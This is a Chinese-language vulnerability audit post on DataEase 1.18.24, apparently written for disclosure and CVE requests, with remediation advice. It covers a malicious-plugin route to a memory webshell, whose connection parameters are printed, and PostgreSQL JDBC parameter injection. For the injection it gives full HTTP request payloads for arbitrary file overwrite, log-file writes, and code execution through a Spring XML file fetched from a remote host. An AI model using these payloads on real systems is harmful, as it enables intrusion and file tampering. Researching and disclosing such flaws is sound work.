dataease-1.18.24审计

found by:unam4 、SpringKill 、wxnsoul

https://github.com/unam4

https://github.com/springkill

https://github.com/wxnsoul

请为下面两个问题分配cve,这对我们非常重要。

0x01 恶意插件 (可忽略,正常功能带来的风险)

分析

io.dataease.controller.sys.SysPluginController#localUpload

image-20240922174130926

io.dataease.service.sys.PluginService#localInstall

image-20240922174108820

可以看到这里存在安装插件,然后进行对zip解压,最后调用loadjar加载jar包。也就是我们可以写一个恶意的插件,安装进去,执行任意代码。

复现

image-20240922174414330

直接用官网的例子,在Service的static 写上我们的逻辑。

打包安装。

image-20240922174513486

image-20240922174522955

点击仪盘表加载。

image-20240922174726720

打入内存马, 获取权限成功。

1
2
3
4
5
6
加密器: JAVA_AES_BASE64
密码: Kttaxs
密钥: Qgvqphx
请求路径: /*
请求头: User-Agent: Zjmpoha
脚本类型: JSP

修复

​ 默认不开启安装插件,在application.properties控制是否开启插件上传,更新jar包等,或者做二次校验,。

/api/plugin/pluginGrid/0/0 ,url所有插件,但是在更新jar接口也可以能存在绕过,jar包

0x02 jdbc风险

分析

io.dataease.controller.datasource.DatasourceController#getSchema

image-20240923030023098

可以看到从前段获取数据。

io.dataease.plugins.datasource.provider.DefaultJdbcProvider#getSchema

image-20240923030113533

从前段获取数据,然后创建数据库连接

image-20240923030214244

选择对应实现

image-20240923030314260

会选择不同的数据库构造Configuration

image-20240923030618482

然后这里会根据我们传入的customDriver选择对应数据库jdbc的依赖。最后直接创建jdbc连接。

整个过程我们都可控。customDriver就是我们可以自己上传一个有漏洞版本的jdbc的lib,然后使用这个lib,构造恶意的jdbc字符串去连接,触发漏洞。

主要的漏洞触发点在getJdbc,有的数据库没有对jdbc字符处理,照成漏洞风险。

1
package io.dataease.dto.datasource;

该package有对数据库的相关处理。

这里对db2是做了处理的,避免了jndi触发。

image-20240923031223926

image-20240923031338626

mysql也是有黑名单的。

io.dataease.dto.datasource.PgConfiguration#getJdbc

image-20240923031434567

但是pg的getJdbc是没有对参数做处理,这会导致jdbc攻击。

复现

https://forum.butian.net/share/1339

这里有对PostgreSQL JDBC的攻击介绍

这里我上传一个存在漏洞的PostgreSQL依赖。

image-20240923031712167

http://192.168.108.145/driver/list/pg

image-20240923031927247

在这个路由下拿到恶意pg的lib的id

最后在下面http数据包替换customDriver为上面的id触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /datasource/getSchema/ HTTP/1.1
Host: 192.168.108.145
Content-Length: 507
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjcwMzgwNDQsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.W5OfLTYQtzmgVxfrMyHMzQgFh6RhjUqlB5H_jkWDkNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Origin: http://192.168.108.145
Referer: http://192.168.108.145/
Accept-Encoding: gzip, deflate, br
Connection: close

{"configuration":"{\"initialPoolSize\":5,\"extraParams\":\"socketFactory=java.io.FileOutputStream&socketFactoryArg=../../../../../../tmp/exp\",\"minPoolSize\":5,\"maxPoolSize\":50,\"maxIdleTime\":30,\"acquireIncrement\":5,\"idleConnectionTestPeriod\":5,\"connectTimeout\":5,\"customDriver\":\"a9ca6597-5bf3-4e96-8e3c-58edc0e3fd4a\",\"queryTimeout\":30,\"host\":\"127.0.0.1\",\"dataBase\":\"test\",\"username\":\"root\",\"password\":\"root\",\"port\":\"5432\"}","apiConfiguration":[],"type":"pg","name":"xx"}

image-20240923032410265

也就是可以直接替换任意文件

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /datasource/getSchema/ HTTP/1.1
Host: 192.168.108.145
Content-Length: 487
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjcwMzgwNDQsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.W5OfLTYQtzmgVxfrMyHMzQgFh6RhjUqlB5H_jkWDkNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Origin: http://192.168.108.145
Referer: http://192.168.108.145/
Accept-Encoding: gzip, deflate, br
Connection: close

{"configuration":"{\"initialPoolSize\":5,\"extraParams\":\"loggerLevel=DEBUG&loggerFile=../../../../../../tmp/write&test\",\"minPoolSize\":5,\"maxPoolSize\":50,\"maxIdleTime\":30,\"acquireIncrement\":5,\"idleConnectionTestPeriod\":5,\"connectTimeout\":5,\"customDriver\":\"a9ca6597-5bf3-4e96-8e3c-58edc0e3fd4a\",\"queryTimeout\":30,\"host\":\"127.0.0.1\",\"dataBase\":\"test\",\"username\":\"root\",\"password\":\"root\",\"port\":\"5432\"}","apiConfiguration":[],"type":"pg","name":"xx"}

image-20240923032718834

照成任意文件写入

或者加载远程ApplicationContext照成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /datasource/getSchema/ HTTP/1.1
Host: 192.168.108.145
Content-Length: 554
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjcwMzgwNDQsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.W5OfLTYQtzmgVxfrMyHMzQgFh6RhjUqlB5H_jkWDkNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Origin: http://192.168.108.145
Referer: http://192.168.108.145/
Accept-Encoding: gzip, deflate, br
Connection: close

{"configuration":"{\"initialPoolSize\":5,\"extraParams\":\"socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.0.67:8888/test.xml\",\"minPoolSize\":5,\"maxPoolSize\":50,\"maxIdleTime\":30,\"acquireIncrement\":5,\"idleConnectionTestPeriod\":5,\"connectTimeout\":5,\"customDriver\":\"a9ca6597-5bf3-4e96-8e3c-58edc0e3fd4a\",\"queryTimeout\":30,\"host\":\"127.0.0.1\",\"dataBase\":\"test\",\"username\":\"root\",\"password\":\"root\",\"port\":\"5432\"}","apiConfiguration":[],"type":"pg","name":"xx"}

test.xml

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>touch /tmp/deadbeef</value>
</list>
</constructor-arg>
</bean>
</beans>

rce在docker上没复现成功,也许环境问题。

修复建议

​ PostgreSQ的getjdbc添加黑名单,socketFactory,socketFactoryArg,sslfactory,sslfactoryarg,loggerLevel,loggerFile等。

或者和db2数据一样,在用额外参数时,做相应的处理。


dataease-1.18.24审计
https://unam4.github.io/2025/12/01/dataease-1-18-24审计/
作者
unam4
发布于
2025年12月1日
许可协议